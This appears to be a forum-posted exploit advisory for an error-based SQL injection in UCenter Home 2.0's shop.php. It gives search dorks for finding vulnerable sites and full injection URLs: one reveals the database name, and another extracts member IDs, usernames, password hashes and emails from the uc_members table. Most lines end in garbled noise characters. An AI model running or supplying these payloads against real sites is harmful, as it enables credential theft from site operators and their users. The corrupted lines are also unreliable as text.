1 T, m! S9 \! ]+ y
__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__ * Q/ _4 ]" V1 i- `' x* D( |+ G
6 K% w( Z6 N1 j" D- a Q
9 D- q! \% |2 `6 F
1 o3 q: U8 Y) T*/ Author : KnocKout
! E; `. b$ ]3 P6 W. _8 Z: l
: g, _/ ?6 l. I*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers ( s( R2 C' z7 @, f! ?! _
* N" n1 ~/ W# D: `. M8 a$ C
*/ Contact: knockoutr@msn.com
F1 }/ ~% n% g7 B, ~5 W' ?; [# o; X; W+ ]
*/ Cyber-Warrior.org/CWKnocKout
9 S) I+ Q' t7 x# B0 z& G( O
3 _1 ?$ R" ^7 n__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== 3 t; ~, W- @8 C. L
, r( C3 |) A8 U- Y3 U: I; r' s* |. MScript : UCenter Home - S, y T/ A# e5 ^% a
$ \) s3 T5 k9 ~0 U+ L* hVersion : 2.0 - m- W8 m; `8 e9 K
# F% {( _) `0 ` O& O& t/ |Script HomePage : http://u.discuz.net/ 9 j8 B! q+ {1 o+ Q* t: L2 k/ n
1 k6 x2 \ U6 K6 J( Z
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
, @. o1 }) u# ~& Z* j8 |, [' A3 I+ A& a! q- d( A- Z3 J
Dork : Powered by UCenter inurl:shop.php?ac=view 7 A0 D* C4 V2 _; O
( N d% q/ |3 [Dork 2 : inurl:shop.php?ac=view&shopid=
. x+ ~' C( _- o9 ?2 i1 d$ ]$ O( |) _! Z$ T
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== ) }6 q- Q0 W; L5 x
# u- b6 t: V) X' _- l, A2 j1 E+ `4 oVuln file : Shop.php
z0 ?1 p4 l" D3 X v
; W' M5 q- |: d8 M7 B1 o6 Avalue's : (?)ac=view&shopid=
- n- q4 R7 K2 _7 d0 m( K
/ D, w) p. R, m9 |; UVulnerable Style : SQL Injection (MySQL Error Based)
0 Q4 M6 D2 M$ K4 W, _6 V+ e! z% I2 B9 |/ M0 c# r& _$ Q
Need Metarials : Hex Conversion
5 Y: i" u8 C B
! J0 |" {- ?; n, [: c) [8 P__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
5 X1 E# ^3 U7 h; k- y$ v4 `
+ ?) Q) q' N- UYour Need victim Database name.
0 s- ?, C/ h1 R+ m9 O1 t5 f% n# P' c4 m* w1 ~
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 + l* j- O: i4 t
, K9 B5 v! ~- l# i.. ! P4 ~& V7 M& Q& S
- q% ]$ P) j( m' E) b2 Y$ }9 j
DB : Okey.
: f- u' n" G- N `% N: g8 i- V/ R5 W
your edit DB `[TARGET DB NAME]` , t' I' T4 R6 V7 [# w9 J
7 C& k6 |4 m' P9 h& I3 H B% `
Example : 'hiwir1_ucenter'
: q; @. I5 O7 m0 c4 W7 K7 I" w; s5 d% t5 b4 R! M8 p! v
Edit : Okey. . U4 Y/ G8 j9 R' {8 I1 d0 v
+ R3 ~0 N3 U( n1 PYour use Hex conversion. And edit Your SQL Injection Exploit..
* D- C. i6 |& y; a9 G
. t- r; J( K9 N8 r! \4 _3 w- V ) e+ @% J$ ^7 g& I1 f) `7 _
6 [4 e9 u: M5 D" W7 U3 ]- H
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 % U$ ]6 ~5 m1 n0 u) W
|